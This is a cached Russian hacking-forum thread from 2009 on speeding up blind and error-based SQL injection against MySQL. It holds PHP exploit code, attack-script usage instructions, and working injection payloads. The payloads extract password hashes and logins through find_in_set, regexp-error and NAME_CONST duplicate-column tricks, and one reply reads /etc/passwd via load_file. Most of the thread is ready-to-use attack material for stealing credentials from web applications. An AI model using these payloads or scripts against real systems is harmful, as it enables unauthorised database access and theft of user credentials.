This is Google's cache of http://forum.antichat.ru/printthread.php?t=119047. It is a snapshot of the page as it appeared on May 14, 2012 16:24:36 GMT. The current page could have changed in the meantime. Learn more

Text-only version
 
Форум АНТИЧАТ - Быстрый Blind SQL Injection

Форум АНТИЧАТ (http://forum.antichat.ru/index.php)
-   Авторские статьи (http://forum.antichat.ru/forumdisplay.php?f=31)
-   -   Быстрый Blind SQL Injection (http://forum.antichat.ru/showthread.php?t=119047)

Qwazar 04.05.2009 17:26

Быстрый Blind SQL Injection
 
Быстрый Blind SQL Injection.


[1] INTRO

Основной проблемой при работе с Blind SQL Injection является огромное количество запросов,
которое необходимо послать на сервер для получения символов из БД, и, соответственно, долгое время работы.
Понятно, что вручную получать данные из БД практически нереально, поэтому процесс работы необходимо автоматизировать.
Я рассмотрю некоторые варианты.


[2] Полный перебор всех символов (до 512 запросов на md5)

Самый тупой и тормознутый метод получения символов из БД. Обычно реализуется новичками в своих первых эксплоитах. Код выглядит примерно так:
PHP код:
 for($i=1;$i<=32;$i++)
 for(
$j=1;$j<=255;$j++){
  
$res send($url"sql.php?id=if(ascii(substring((select+$field+from+  users+where+id=0),$i,1))=$j,'1',(select+1+union+se  lect+2))")
  if(!
preg_match('/Subquery returns/'$res) {
   echo 
$j;
   continue;
  }
 } 
Принцип работы прост: Для каждого символа сравниваем значение его ascii кода с кодами заданого нами диапазона, если выполняется некое условие - символ найден. Т.е. для хеша MD5, будет слаться до 16 запросов на символ, т.е. до 512 запросов на весь хеш. Для получения логина необходимо послать ещё больше запросов.
Плюсов у метода нет вообще, разве что код выполняющий такой перебор пишется очень быстро и легко.


[3] Бинарный (двоичный) поиск нужного символа. (до 128 запросов на md5)

- это тот метод, который используется в большинстве адекватных программ, скриптов и сплоитов, для работы со слепыми иньекциями.
Принцип работы прост:

1) Берём диапазон всех возможных символов (для md5 - [0-9,a-f]), и сравниваем значение кода символа в БД с кодом символа, который мы передали в запросе.
2) Если код символа в БД больше чем код переданого символа, то на следующем шаге, в качестве диапазона возможных символов берём диапазон от того символа,
с которым мы только что сравнивали значение в БД, до правой границы предыдущего диапазона, и идём на шаг 1.
3) Если код символа меньше, то берём диапазон от текущего символа до левой границы диапазона на предыдущем шаге, и идём на шаг 1.
4) Если символ не больше и не меньше, то мы как раз его и нашли.

Например мы получаем хеш md5:

Диапазон символов: 0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f
Допустим в БД лежит символ 'b'

Запускаем процесс:
1) Находим середину диапазона [0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f], серединой является символ '8'.
2) Сравниваем, код символа 'b' больше или меньше, чем код символа '8'? (шлём запрос)
3) Код больше, поэтому на следующую итерацию уже берём диапазон [8,9,a,b,c,d,e,f], серединой является символ 'с'.
4) Сравниваем, код символа 'b' больше или меньше, чем код символа 'с'? (шлём запрос)
5) Код меньше, поэтому на следующую итерацию берём диапазон [8,9,a,b,c], серединой является символ 'a'.
6) Сравниваем, код символа 'b' больше, чем код символа 'a'? (шлём запрос)
7) Код больше, поэтому на следующую итерацию берём диапазон [a,b,c], серединой является символ 'b'.
8) Сравниваем, код символа 'b' больше или меньше, чем код символа 'b'? (шлём запрос)
9) Код ни больше и не меньше, значит символ в БД = 'b'

Т.е., в зависимости от реализации, мы отправляем до 5-6 запросов, в худшем случае, на определение кода символа.

Пример реализации:
PHP код:
 function getChar($url$field$pos$lb=0$ub=255) {
    while(
true) {
        
$M floor($lb + ($ub-$lb)/2);
        if(
cond($url$field'<'$pos$M)==1) {
            
$ub $M 1
        }
        else if(
cond($url$field'>'$pos$M)==1) {
            
$lb $M 1;
        }
        else
            return 
chr($M);
        if(
$lb $ub)
            return -
1;
    }

+ метод универсален, и даёт неплохую скорость поиска.
- можно искать быстрее


[4] Использование find_in_set() и подобных (32+16 запросов на md5, by +toxa+ и madnet)

Функция find_in_set(str,strlist), используется для поиска подстроки среди списка строк, разделённых символом ',',
возвращает номер той строки из списка, которая равна переданному аргументу. Т.е.:
Код:
mysql> SELECT FIND_IN_SET('b','a,b,c,d'); -> 2
Т.е. мы можем узнавать код символа таким образом:
Код:
select find_in_set((substring((select password from users limit 1),1,1)),'0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f');
и получим номер символа в множестве. К примеру, для символа 'b', этот запрос вернёт 12.

В слепых скулях можно использовать так:
Код:
news.php?id=find_in_set(substring((select password from users limit 0,1),1,1),'0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f')


И в зависимости от кода символа мы будем видеть новость с id, соответствующим символу пароля.

На практике, для использования нужно:
1) Выделить ключевые слова на страницах с нужными id
2) Отправить запросы с find_in_set для каждого символа из БД
3) Выяснить страницу с каким id мы получили и вывести на экран код символа.

Код прикреплю во вложении, т.к. главной сложностью является выявление ключей на странице, что не имеет прямого отношения к статье, суть расписана и так.

Вместо find_in_set(), можно использовать подобные функции: LOCATE(),INSTR(),ASCII(),ORD(), причём ASCII()/ORD() предпочтительее,
т.к. присутствуют не только в MySQL. (А при помощи сложения и вычитания, получившиеся коды можно подогнать под любые ID)

+ высокая скорость работы (в идеальном случае)
+ не требует вывода ошибок
- на сайте id могут быть распределены неравномерно, т.е. скрипт приходится затачивать под каждый сайт индивидуально
- для большого количества символов в алфавите, нужно большое количество уникальных страниц в зависимости от id, которые не всегда присутствуют, иначе приходится слать больше чем 1 запрос на символ (если не понятно, см. следующий метод)


[5] Использование find_in_set() + more1row (~42 запроса на md5)

Если внимательно разобраться с методом описаным выше, можно понять, что все его минусы сводятся к тому, что не на всех сайтах, мы можем получить достаточное количество различных выводимых страниц, в зависимости от одного параметра.

Попробуем разобраться с этой проблемой, вспомним о методе more1row, который изначально описал Elekt. Суть метода сводится к тому, чтобы спровоцировать скрипт выводить какую либо ошибку, в зависимости от SQL запроса.

В данный момент, наиболее часто используется запрос:
Код:
SELECT 1 UNION SELECT 2
(нашёл podkashey), возвращающий ошибку:
Subquery returns more than 1 row

Так же, ZaCo, нашёл альтернативный вариант запроса:
Код:
"x" regexp concat("x{1,25", if(@@version<>5, "5}", "6}")) /*в случае else строка выражения выйдет за максимальный предел квантификатора*/

Если версия MySql не 5, то этот запрос вернёт ошибку:
#1139 - Got error 'invalid repetition count(s)' from regexp.

Немного порывшись в исходниках MySql и погуглив, можно найти, ещё 9 ошибок, которые возвращает неправильный regexp, итого от сервера мы можем получить 11 видов ошибок + 1 состояние, когда ошибки нет:
Код:
SELECT 1 No error select if(1=1,(select 1 union select 2),2) #1242 - Subquery returns more than 1 row select 1 regexp if(1=1,"x{1,0}",2) #1139 - Got error 'invalid repetition count(s)' from regexp select 1 regexp if(1=1,"x{1,(",2) #1139 - Got error 'braces not balanced' from regexp select 1 regexp if(1=1,'[[:]]',2) #1139 - Got error 'invalid character class' from regexp select 1 regexp if(1=1,'[[',2) #1139 - Got error 'brackets ([ ]) not balanced' from regexp select 1 regexp if(1=1,'(({1}',2) #1139 - Got error 'repetition-operator operand invalid' from regexp select 1 regexp if(1=1,'',2) #1139 - Got error 'empty (sub)expression' from regexp select 1 regexp if(1=1,'(',2) #1139 - Got error 'parentheses not balanced' from regexp select 1 regexp if(1=1,'[2-1]',2) #1139 - Got error 'invalid character range' from regexp select 1 regexp if(1=1,'[[.ch.]]',2) #1139 - Got error 'invalid collating element' from regexp select 1 regexp if(1=1,'\\',2) #1139 - Got error 'trailing backslash (\)' from regexp



Примем это во внимание.
Теперь вспомним о функции find_in_set: Если символ есть в множестве подстрок, она вернёт номер подстроки, если нет, вернёт 0. А что если передать такой запрос:
Код:
select * from users where id=-1 AND "x" regexp concat("x{1,25", if(find_in_set(substring((select passwd from users where id=1),1,1),'a,b,c,d,e,f,1,2,3,4,5,6')>0, (select 1 union select 2), "6}"))


Если 1й символ пароля находится в множестве 'a,b,c,d,e,f,1,2,3,4,5,6', то запрос вернёт:
#1242 - Subquery returns more than 1 row
,а если не находится, то:
#1139 - Got error 'invalid repetition count(s)' from regexp


Т.е. при каждом запросе, по коду ошибки, мы узнаём, к какой группе принадлежит символ.

Расставим символы по группам так, чтобы минимизировать количество обращений к серверу.

На примере md5, мы знаем, что у нас могут присутствовать только символы из диапазона [0-9,a-f], так же мы знаем, что количество групп = 12, т.к.
всего мы можем задать 12 состояний (11 ошибок + 1, когда ошибки нет). Получаем, к примеру:

Код:
[01]: '0','b','c','d','e','f' [02]: '1' [03]: '2' [04]: '3' [05]: '4' [06]: '5' [07]: '6' [08]: '7' [09]: '8' [10]: '9' [11]: 'a'

Расставленно именно так, чтобы минимизировать количество запросов, т.к. на каждом запросе, мы узнаём номер группы в которой находится символ.
В итоге, если символ находится в группах 01-11, то мы узнаем его значение с одного запроса. Если символ лежит в группе 1, то следующим запросом мы распределяем символы по группам вот так, и сразу узнаём непосредственное значение символа:
Код:
[01]: '0' [02]: 'b' [03]: 'c' [04]: 'd' [05]: 'e' [06]: 'f'


Алгоритм работы со скулёй выглядит несложно:
1) оптимально распределить символы алфавита по группам
2) по возвращённому коду ответа выяснить в какой группе находится символ из бд
3) если в этой группе только 1 символ, то выводим его на экран, если больше чем 1 символ, то распрделеяем символы из данной группы по состояниям и идём на шаг 1.

Понятно, что руками писать такие запросы совершенно нереально, к примеру рабочий запрос для алфавита [a-z,A-Z,0-9], и 11 состояний выглядит вот так:
Код:
sql.php?id=1+AND+"x"+regexp+concat("x{1,25",+(if(find_in_set(substring((select+passwd+from+us ers+limit+0,1),1,1),'0,b,c,d,e,f,g,h,i,j,k,1,l,m,n ,o,p,q,r,s,t,u,2,v,w,x,y,z,A,B,C,D,E,3,F,G,H,I,J,K ,L,M,N,O,4,P,Q,R,S,T,U,V,W,X,Y,5,Z,6,7,8,9'),(if(f ind_in_set(substring((select+passwd+from+users+lim it+0,1),1,1),'0,b,c,d,e,f,g,h,i,j,k,1,l,m,n,o,p,q, r,s,t,u,2,v,w,x,y,z,A,B,C,D,E,3,F,G,H,I,J,K,L,M,N, O,4,P,Q,R,S,T,U,V,W,X,Y,5,Z,6,7,8'),(if(find_in_se t(substring((select+passwd+from+users+limit+0,1),1 ,1),'0,b,c,d,e,f,g,h,i,j,k,1,l,m,n,o,p,q,r,s,t,u,2 ,v,w,x,y,z,A,B,C,D,E,3,F,G,H,I,J,K,L,M,N,O,4,P,Q,R ,S,T,U,V,W,X,Y,5,Z,6,7'),(if(find_in_set(substring ((select+passwd+from+users+limit+0,1),1,1),'0,b,c, d,e,f,g,h,i,j,k,1,l,m,n,o,p,q,r,s,t,u,2,v,w,x,y,z, A,B,C,D,E,3,F,G,H,I,J,K,L,M,N,O,4,P,Q,R,S,T,U,V,W, X,Y,5,Z,6'),(if(find_in_set(substring((select+pass wd+from+users+limit+0,1),1,1),'0,b,c,d,e,f,g,h,i,j ,k,1,l,m,n,o,p,q,r,s,t,u,2,v,w,x,y,z,A,B,C,D,E,3,F ,G,H,I,J,K,L,M,N,O,4,P,Q,R,S,T,U,V,W,X,Y,5,Z'),(if (find_in_set(substring((select+passwd+from+users+l imit+0,1),1,1),'0,b,c,d,e,f,g,h,i,j,k,1,l,m,n,o,p, q,r,s,t,u,2,v,w,x,y,z,A,B,C,D,E,3,F,G,H,I,J,K,L,M, N,O,4,P,Q,R,S,T,U,V,W,X,Y'),(if(find_in_set(substr ing((select+passwd+from+users+limit+0,1),1,1),'0,b ,c,d,e,f,g,h,i,j,k,1,l,m,n,o,p,q,r,s,t,u,2,v,w,x,y ,z,A,B,C,D,E,3,F,G,H,I,J,K,L,M,N,O'),(if(find_in_s et(substring((select+passwd+from+users+limit+0,1), 1,1),'0,b,c,d,e,f,g,h,i,j,k,1,l,m,n,o,p,q,r,s,t,u, 2,v,w,x,y,z,A,B,C,D,E'),(if(find_in_set(substring( (select+passwd+from+users+limit+0,1),1,1),'0,b,c,d ,e,f,g,h,i,j,k,1,l,m,n,o,p,q,r,s,t,u'),(if(find_in _set(substring((select+passwd+from+users+limit+0,1 ),1,1),'0,b,c,d,e,f,g,h,i,j,k'),('}'),(select+1+un ion+select+2))),'}x{1,0}')),'}x{1,(')),'}[[:]]')),'}[[')),'}(({1}')),'}(')),'}[2-1]')),'}[[.ch.]]')),'}\\')))+--+1


Поэтому в приложении можно найти скрипт, который автоматически генерирует запросы с вложеными условиями согласно описаному выше алгоритму, отправляет их и по ответу определяет, стоит ли слать ещё запросы, или символ уже найден.

+ высокая скорость работы
+ универсален, как и more1row
* Можно искать 1 символ за запрос, если найти ещё 4 ошибки, работающие в динамическом режиме.
- требует включеный вывод ошибок


[6] Outro

Существует довольно много возможностей ускорить процес работы со слепыми SQL иньекциями, главное не зацикливаться на старых заезженных способах.
Кто знает что нам принесут новые версии известных СУБД.


[7] Links

При написании статьи использовалось:

https://forum.antichat.ru/thread43966.html - SQL injection полный FAQ by Dr.Z3r0
https://forum.antichat.ru/thread43966.html - Новая альтернатива Benchmark'y или эффективный blind SQL-injection by Elekt
https://forum.antichat.ru/showpost.php?p=535849&postcount=11 - Использование ошибок regexp by ZaCo
https://blackhole.cih.ms:13000/showthread.php?t=554 - Проведение слепых инъекций через find_in_set() by +toxa+ (там же скрипт)
http://dev.mysql.com/sources/doxyge..._8c-source.html - Ошибки regexp (сорцы MySql)
https://rdot.org/forum/showthread.php?t=245 - новый адрес этой темы

Qwazar 04.05.2009 17:27

Скрипт для работы через find_in_set() (метод - 4)
 
Вложений: 1
За основу взят скрипт c cih.ms, который написал +toxa+.

Количество запросов: 1 на каждый символ алфавита + 1 на каждый символ в строке. Т.е. для классического MD5 - 48 запросов. Из них 16 - абсолютно естественные, никак не используют иньекцию саму по себе + от них можно избавиться, если в коде прописать регулярку, вычисляющую на какой именно странице мы находимся, тогда будет 1 запрос на 1 символ.


Алгоритм работы скрипта:
1) Отправляет нормальные запросы вида ?id=1, ?id=2 .. ?id=N, где N - количество символов в алфавите.
2) Вычисляет ключевые слова для каждого из вариантов.
3) Шлёт на сервер запрос вида: id=find_in_set(substring((select+passw+from+users+ limit+0,1),0,1),[АЛФАВИТ])
4) В ответе сервера ищет ключи, найденые ранее, если ключ совпал, значит символ найден.

Описание:
запуск из консоли в виде:
Код:
fast_in_set.php url field table [target_id] [send_queries] [start_from] [alphabet]
где:

обязательные:
url - url вида http://test1.ru:8012/find_in_set/news.php?id= (Важно: после = скрипт подставлять цифры будет сам, никакого -1 там не нужно)
field - имя столбца
table - имя таблицы

необязательные:
[target_id] - id записи в таблице (по дефолту 0, т.е. первая запись)
[send_queries] - количество символов которое надо получить (по дефолту 32)
[start_from] - страница с которой надо начать (по дефолту 1), т.е. для получения хеша мд5 скрипту потребуется 16 различных страниц идущих подряд, а это число прибавится к получаемому id. Т.е. для md5, при start_from=10, скрипт пробежится по страницам с id от 10 до 26 включительно.
[alphabet] - можно задать свой алфавит (по дефолту [a-f0-9]), разделив символы запятыми. Напиример: 1,2,3,4,5,6,7,8,9,0 .

Пример:
Код:
php fast_in_set.php http://test1.ru:8012/find_in_set/news.php?id= password users или php fast_in_set.php http://test1.ru:8012/find_in_set/news.php?id= login users 0 5 1 r,a,o,t,z

Результат работы:
Код:
Generating templates................ [OK] Getting keywords................ [OK] Filtering keywords................ [OK] Sending queries................................ [OK] Getting value: 63a9f0ea7bb98050796b649e85481845 [DONE] или Generating templates..... [OK] Getting keywords..... [OK] Filtering keywords..... [OK] Sending queries..... [OK] Getting value: root [DONE]
В строках Generating templates и Sending queries каждая точка обозначает отправленный запрос. В остальных - обработку символов.

P.S.
Поидее надо добавить возможность задавать id не последовательно, возможность установить свою регулярку чтобы не надо было слать запросы для определения ключей + заточить под все виды БД.

Qwazar 04.05.2009 17:28

Скрипт для работы через find_in_set()+more1row (метод 5)
 
Вложений: 2
Генерация запросов:

2 ошибки обладают особенностями:
1) select 1 regexp if(1=1,"x{1,0}",2) - работает только так, как показал ZaCo в древнем посте на античате, и требует чтобы к остальным запросам regexp корректно в начале был добавлен символ "}", иначе назвисимо от условий ругается тольо так: "#1139 - Got error 'repetition-operator operand invalid' from regexp"
2) select 1 regexp if(1=1,'',2), работает только при наличии пустого запроса, или так: 'a|' (отсутствие чего бы то нибыло после | ), но особенность 1 убивает возможность использования чисто пустого запроса.

Вложенные запросы скрипт генерирует сам.

Дальше понадобилось группировать символы алфавита по условиям. Скрипт делает это по принципу (на примере [0-9,a-f] и 4х состояний):

1) Раскидывает по 1 букве алфавита на запрос, т.е.
Код:
[1]:1 [2]:2 [3]:3 [4]:4


2) если символы остались, то начинает расставлять их по состояниям, слева-направо, заполняя каждую категорию не более чем на количество равное количеству состояний.

3) Если ещё остались не распиханые символы, идём на шаг 2.

В итоге символы по категориям расставлены так, что поиск по ним будет происходить максимально быстро.

Например, символы [1,2,3,4,5,6,7,8], скрипт по состояниям расставит вот так:

[1]:1,5,6,7
[2]:2,8
[3]:3
[4]:4

И получаем, что если символ в запросе равен 3 или 4, то его найдут с 1 запроса, если [1,5,6,7] или [2,8], то с 2х запросов.

Для генерации запросов используется следующая структура:

1) Все запросы хранятся в массиве:
Код:
$queries = array( "if(%cond%,%then%,(select+1+union+select+2))" => "Subquery returns more than 1 row", "if(%cond%,%then%,'}x{1,0}')" => "invalid repetition count(s)", "if(%cond%,%then%,'}x{1,(')" => "braces not balanced", "if(%cond%,%then%,'}[[:]]')" => "invalid character class", "if(%cond%,%then%,'}[[')" => "brackets ([ ]) not balanced", "if(%cond%,%then%,'}(({1}')" => "repetition-operator operand invalid", "if(%cond%,%then%,'}|'" => "empty (sub)expression", "if(%cond%,%then%,'}(')" => "parentheses not balanced", "if(%cond%,%then%,'}[2-1]')" => "invalid character range", "if(%cond%,%then%,'}[[.ch.]]')" => "invalid collating element", "if(%cond%,%then%,'}\\\\')" => "trailing backslash", );
где %cond% jобозначает место, куда скрипт должен подставить условие, %then% - место куда скрипт должен вставить следующий подзапрос.

Зная это можно свободно добавлять/удалять ошибки из массива. Программа отработает полностью автоматически, и строит окончательный запрос только из тех подзапросов которые есть в наличии. (комментирование/добавление запросов к некорректной работе не приведёт).

2) основной запрос обёртка прописывается так:
Код:
$template = "+AND+\"x\"+regexp+concat(\"x{1,25\",+(%query%))+--+1";
где %query% - место куда скрипт должен подставить сгенерированные подзапросы.

3) Подзапросы тут:
Код:
$condition = 'find_in_set(substring((select+'.$field.'+from+'.$ table.'+limit+%id%,1),%number%,1),%symbols%)';
где: %id% - место куда подставится id, %number% - место куда скрипт будет подставлять номер символа в строке, %symbols% - куда скрипт будет размещать символы.

4)алфавит можно задать как в исходниках, так и из командной строки. В исходниках:
Код:
$alphabet = array_merge(range('0', '9'),range('a', 'f'));


В принципе это всё нужно только для тонкой настройки.

Работа со скриптом:
Цитата:
veryfast.php url field table [target_id] [send_queries] [alphabet]


где:

обязательные:
url - url вида http://test1.ru:8012/sql.php?id=1 (Важно: нужна цифра, или символ)
field - имя столбца
table - имя таблицы

необязательные:
[target_id] - id записи в таблице (по дефолту 0, т.е. первая запись)
[send_queries] - количество символов которое надо получить (по дефолту 32)
[alphabet] - можно задать свой алфавит (по дефолту [a-f0-9]), разделив символы запятыми. Напиример: 1,2,3,4,5,6,7,8,9,0 .

Пример:
Цитата:
php veryfast.php http://test1.ru:8012/sql.php?id=1 passwd users
Результат работы:
Цитата:
Result: 200820e3227815ed1756a6b531e7e0d2
Total: 42 queries


Если нужно задать алфавит, id и прочее то пишем так:
Цитата:
php veryfast.php http://test1.ru:8012/sql.php?id=1 passwd users 5 15 0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f


На практике у меня на хеши md5 уходит около 40 запросов.

Если кто найдёт ещё 4 ошибки, которые работают в динамическом режиме (внутри if в зависимости от условия), то скрипт будет работать со скоростью 1 запрос - 1 символ. Добавить ошибки в базу, с учётом написаного выше, будет легко любому.

Во вложениях 2 скрипта, в 1м всё запросы передаются в чистом виде и с кавычками (удобно для того чтобы понять как это работет), во 2м всё захексено, чтобы не было проблем с экранированием кавычек.

cr0w 04.05.2009 20:54

Интересно придумал с more1row (:

p.s. и все таки удобнее использовать
Код:
select instr('0123456789abcdef', 'a'); select instr(0x30313233343536373839616263646566, 'a');
чем
Код:
select find_in_set('a', '0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f,); select find_in_set('a', 0x302C312C322C332C342C352C362C372C382C392C612C622C 632C642C652C66);
(;

Qwazar 04.05.2009 22:31

cr0w, find_in_set там по историческим мотивам :) Главное принцип :)

Psi.X 12.05.2009 00:30

[4] Использование find_in_set() и подобных (32+16 запросов на md5, by +toxa+ и madnet)
Можно ссылку на первоисточник? А то это какбы вариант моего https://forum.antichat.ru/thread117549.html метода

Qwazar 12.05.2009 02:26

Хм, ну значит вы дошли до этого метода независимо :) Пост был на cih.ms, но сейчас тот форум снова стал приватным.

З.Ы.
Посмотрел, на сохранённую копию. В общем, +toxa+, madnet опередили тебя по крайней мере на год, просто их способ в паблике не всплывал.

З.З.Ы.
Посмотрел повнимательнее твой пост. По сути твой способ - недоработанный вариант их способа, почему недоработанный? Потому что у тебя не показан законченный вариант перебора, когда ты реально не знаешь какие значения лежат в полях.
Код:
?news.php?news_id= (select 111 from information_schema.tables where table_name = 'administrators' union select 112 from information_schema.tables where table_name = 'admins' union select 113 from information_schema.tables where table_name = 'users')
Их способ удобнее, т.к. откуда ты знаешь слова 'admin', 'users' и т.п.? Вот что у вас общего, так это работа с большим кол-вом ID. (Респект и уважуха кст., за то что нашёл, пусть и позже)

Qwazar 01.09.2009 10:57

From ROA with love
 
Ещё 1 способ узнать имена колонок без использования information_schema в MySQL5 (нашёл 25.02.2009, спасибо Грею, за то что проверил у себя и всем, кого мучал вопросами).

У меня есть таблицы:
news(id,title,date)
users(id,name,passwd,is_admin)

Допустим мы имеем скуль:
SELECT * FROM `news` WHERE id = [SQL]

Хотим узнать имена столбцов в таблице users. Делаем это так:

Шлём запрос:
Код:
SELECT * FROM `news` WHERE id = -1 UNION SELECT * FROM users, (SELECT * FROM `users` CROSS JOIN (select * from users) as b ON 1=1)a


Возвращает ошибку:
#1060 - Duplicate column name 'id'

Кстати можно использовать любой вариант JOIN'а, не обязательно CROSS JOIN, просто перебирая варианты он оказался последним.

(А вот после этого пришлось помучатся, благо в MySQL обнаружилась конструкция USING(), далее всё внимание на неё)

Тогда шлём запрос:
Код:
SELECT * FROM `news` WHERE id = -1 UNION SELECT * FROM users, (SELECT * FROM `users` CROSS JOIN (select * from users) as b USING(id))a


Возвращает:
#1060 - Duplicate column name 'name'

Тогда шлём:
Код:
SELECT * FROM `news` WHERE id = -1 UNION SELECT * FROM users, (SELECT * FROM `users` CROSS JOIN (select * from users) as b USING(id,name))a


Возвращает:
#1060 - Duplicate column name 'passwd'

И т.д., когда переберём все столбцы, вернётся:
#1222 - The used SELECT statements have a different number of columns

З.Ы.
Если удалить всё ненужное, то получатся запросы:
Код:
-1 UNION SELECT * FROM (SELECT * FROM users JOIN users b)a
Код:
-1 UNION SELECT * FROM (SELECT * FROM users JOIN users b USING(id))a

Вариантов избавиться от подзапросов пока не вижу :(

Qwazar 01.09.2009 11:00

From ROA with love
 
Итак, развиваем тему "more 1 row".

Зачем слать по 40 запросов на хеш? Почему бы нам не вытянуть всё поле из БД сразу.

Для этого вспоминаем мой метод получения имён полей из БД:

Цитата:
-1 UNION SELECT * FROM (SELECT * FROM users JOIN users b)a


Выведет имя поля, присутствуещего с двух сторон оператора JOIN: #1060 - Duplicate column name 'id'

А что если попытаться подставить значение из базы, в качестве имени одного из полей?

На поиск такого варианта я потратил много времени и решение было найдено:

Функция NAME_CONST()

Цитата:
mysql> SELECT NAME_CONST('myname', 14);
+--------+
| myname |
+--------+
| 14 |
+--------+


Пробуем, и получаем рабочий запрос:

Цитата:
SELECT 1 FROM news WHERE id=-1 UNION SELECT * FROM (SELECT * FROM (SELECT NAME_CONST((SELECT passhash FROM users LIMIT 1), 14)d) as t JOIN (SELECT NAME_CONST((SELECT passhash FROM users LIMIT 1), 14)e) b)a


Результат работы:
#1060 - Duplicate column name 'f8d80def69dc3ee86c5381219e4c5c80'


И вот ещё пример от jokester:
Цитата:
mysql> select username from AEF.aef_users where id=1 union select * FROM (SELECT * FROM (SELECT NAME_CONST((SELECT concat_ws(0x3a,user_loginname,user_password) FROM e107.e107_user LIMIT 1), 14)d) as t
JOIN (SELECT NAME_CONST((SELECT concat_ws(0x3a,user_loginname,user_password) FROM e107.e107_user LIMIT 1), 14)e) b)a;
Цитата:
ERROR 1060 (42S21): Duplicate column name 'admin:21232f297a57a5a743894a0e4a801fc3'

Ну и в неслепых скулях этим можно пользоваться если лень подбирать кол-во колонок.

Требования: MySQL=5.0.*, на 6й ветке не проверял, если кто проверит - отпишитесь.

Первым идею выводить значение поля в тексте ошибки, мне предложил Jokester (не забываем передавать спасибо и ему). На поиск варианта практической реализации, мной было потрачено около двух месяцев...

P.S.
Ну что, кто сможет быстрее?? :)

UPD:
У меня текст имени колонки выводимой в ошибке, режется до 64 символов

cr0w 01.09.2009 23:45

Можно и еще быстрее. (: Например, если получать по 2 хеша за запрос:
Цитата:
-1 UNION SELECT * FROM (SELECT * FROM (SELECT NAME_CONST((SELECT GROUP_CONCAT(password SEPARATOR '') FROM cr0w.users LIMIT 2),14)d)t
JOIN (SELECT NAME_CONST((SELECT GROUP_CONCAT(password SEPARATOR '') FROM cr0w.users LIMIT 2),14)e)b)a;
Если, конечно, мы имеем дело с 32х-символьными хешами. (;

add:

А еще этим способом можно, например, более-менее сносно читать файлы:
Цитата:
-1 UNION SELECT * FROM (SELECT * FROM (SELECT NAME_CONST(substr(load_file('/etc/passwd'),1),1)r)e2
JOIN (SELECT NAME_CONST(substr(load_file('/etc/passwd'),1),1)qw)az)ar;
перемещая 64х-символьное "окно" по файлу, увеличивая на 64 второй параметр в substr()'ах.

Цитата:
Сообщение от Qwazar  
И т.д., когда переберём все столбцы, вернётся:
#1222 - The used SELECT statements have a different number of columns
Отмечу, что это в случае, если в таблице news и users разное количество столбцов. При одинаковом - запрос просто нормально выполнится.

Цитата:
Сообщение от Qwazar  
Требования: MySQL=5.0.*,
Если быть более точными, нужен MySQL=>5.0.12


Московское время: 20:26.

Powered by: vBulletin Version 3.0.x
Copyright ©2000 - 2012, Jelsoft Enterprises Ltd.